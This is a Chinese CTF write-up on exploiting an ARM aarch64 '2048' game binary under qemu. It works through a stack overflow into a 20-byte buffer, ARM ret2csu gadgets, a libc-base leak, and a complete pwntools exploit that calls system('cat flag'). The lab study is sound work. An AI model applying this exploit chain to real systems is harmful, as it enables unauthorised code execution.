2048 复现
1 GNU C Library (Ubuntu GLIBC 2.31 -0u buntu9.2 ) stable release version 2.31
PS:ARM 的 libc 和 X86 的还不一样
1 2 3 4 5 6 2048 : ELF 64 -bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1 , BuildID[sha1]=2 ad2206f21bc8a991f4874f2b2ca0cc6e6b973c0, for GNU/Linux 3.7 .0 , stripped Arch: aarch64-64 -little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 )
64位,dynamically,ARM,开了 NX,Full RELRO
这是 ARM 的程序,需要用 qemu 来模拟 ARM 虚拟机(环境我已经搭好了)
使用如下命令来启动 qemu:
1 qemu-aarch64 -L /usr/aarch64-linux-gnu ./[pwn]
漏洞分析
1 2 3 4 5 6 7 8 9 char buf[20 ]; puts ("You win!" );printf ("Do you want to continue playing? [y/n]: " );read(0 , buf, 0x100 uLL); result = (unsigned __int8)buf[0 ]; if ( buf[0 ] == 'Y' || buf[0 ] == 'y' ) return game_close(); return result;
数组 buf 溢出,没有开 canary 可以直接打 ROP
入侵思路
在进行栈溢出之前,需要先完成一个游戏:2048
逆向分析发现,这个程序通过 “W” “S” “A” “D” 4个键来控制程序(具体的实现过程可以先不用管),并且程序的种子是固定的
每一局游戏都是以下这个界面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Score: 0 +------+------+------+------+ | | | | | | | | | 2 | | | | | | +------+------+------+------+ | | | | | | 2 | | | | | | | | | +------+------+------+------+ | | | | | | | | | | | | | | | +------+------+------+------+ | | | | | | | | | | | | | | | +------+------+------+------+
因此,只要完成一次游戏记录 payload 就可以了(我就没有跑脚本了,直接硬玩也可以)
1 payload = 'sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds'
接下来的 ROP 就是重头戏了,先介绍一下 ARM 的 ret2csu:
1 2 3 4 5 6 .text: loc_4020D8 ; CODE XREF: sub_402070+3 C↑j .text: F3 53 41 A9 LDP X19, X20, [SP,#var_s10] .text: F5 5B 42 A9 LDP X21, X22, [SP,#var_s20] .text: F7 63 43 A9 LDP X23, X24, [SP,#var_s30] .text: FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40 .text: C0 03 5F D6 RET
1 2 3 4 5 6 7 .text: loc_4020B8 ; CODE XREF: sub_402070+64 ↓j .text: A3 7 A 73 F8 LDR X3, [X21,X19,LSL#3 ] .text: E2 03 18 AA MOV X2, X24 .text: 73 06 00 91 ADD X19, X19, #1 .text: E1 03 17 AA MOV X1, X23 .text: E0 03 16 2 A MOV W0, W22 .text: 60 00 3F D6 BLR X3
LDP <reg0>, <reg1>, [<reg2|SP>{, #<imm>}]
:
把 SP+<imm>
上的值存入<reg0>, <reg1>
常用于恢复寄存器的数据
基地址偏移量模式,“{}”大括号表示可选的意思
LDR <reg0>, [<reg1>, <reg2>, LSL#3]
:
查找到 <reg1>
(基地址)加上 <reg2>
右移3位(偏移地址)的地址
把其中的内容赋值给 <reg0>
BLR <Xm>
:
跳转到由 <Xm>
目标寄存器指定的地址处
同时将下一条指令存放到 <X30>
寄存器中
利用模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 csu1_addr = csu2_addr = def ret2csu (func_addr, arg0, arg1, arg2 ): payload = p64(csu1_addr) payload += p64(csu1_addr) payload += p64(csu2_addr) payload += p64(0 ) payload += p64(1 ) payload += p64(func_addr) payload += p64(arg0) payload += p64(arg1) payload += p64(arg2) return payload
注意:程序并不会直接调用 func_addr
,而是会调用 func_addr
指向的地址
最后说一下 ARM 环境的问题:
绝大多数 ARM
架构的题都是在 qemu
模拟出的环境中跑的,而 qemu
没有 NX
和 PIE
(即使题目所给的二进制文件开了 NX
和 PIE
保护,也只是对真机环境奏效),也就是说,qemu
中所有地址都是有可执行权限的(包括堆栈,甚至 bss
段等),然后 libc_base
和 proc_base
每次跑都是固定的
跑 qemu
的时候,libc_base
一般都是 0x4000XXX000
这样的地址,因此泄露数据的时候会被 \x00
截断,其实只需要泄露后三个字节(后六位),然后加上 0x4000000000
即可得到泄露出的 libc
地址(本地和远程的偏移可能不同)
于是我们就先调用 GOT 里面的 puts
随便泄露一个 GOT 里面的函数,计算出 libc_base
,然后利用 ret2csu 执行 ROP
完整 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *p=process(['qemu-aarch64' ,'-L' ,'/usr/aarch64-linux-gnu/' ,'./20481' ]) elf=ELF('./20481' ) context(arch='aarch64' , os='linux' ) csu1_addr=0x4020D8 csu2_addr=0x4020B8 libc=ELF('./libc-2.31.so' ) csu1_addr=0x04020D8 csu2_addr=0x04020B8 def ret2csu (func_addr, arg0, arg1, arg2 ): payload = p64(csu1_addr) payload += p64(csu1_addr) payload += p64(csu2_addr) payload += p64(0 ) payload += p64(1 ) payload += p64(func_addr) payload += p64(arg0) payload += p64(arg1) payload += p64(arg2) return payload puts_addr = 0x4131B8 __libc_start_main_got = 0x412f68 __libc_start_main_libc = 0x5500856ba8 puts_got = 0x412f88 libc_base = __libc_start_main_libc - libc.sym['__libc_start_main' ] system_libc = libc.sym['system' ]+libc_base success("libc_base >> " +hex (libc_base)) p.recvuntil('name:' ) p.send(p64(system_libc)+"cat flag" ) sleep(1 ) payload = 'sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds' p.send(payload) p.recvuntil('[y/n]: ' ) payload=40 *'a' payload+=ret2csu(0x413154 ,0x413154 +8 ,0 ,0 ) p.send(payload) """ p.recvuntil('Bye~\n') leak_addr=u64(p.recv(3).ljust(8,'\x00')) success("leak_addr >> "+hex(leak_addr)) # leak_addr >> 0x856ba8 # __libc_start_main >> 0x5500856ba8 """ p.interactive()
小结:
初入 ARM pwn,学到了不少 ARM 的知识:
libc_base
和 proc_base
每次跑都是固定的
ret2csu
并不会直接调用 func_addr
,而是会调用 func_addr
指向的地址
我感觉这个 2048 小游戏很有意思,有时间看看这是这么实现的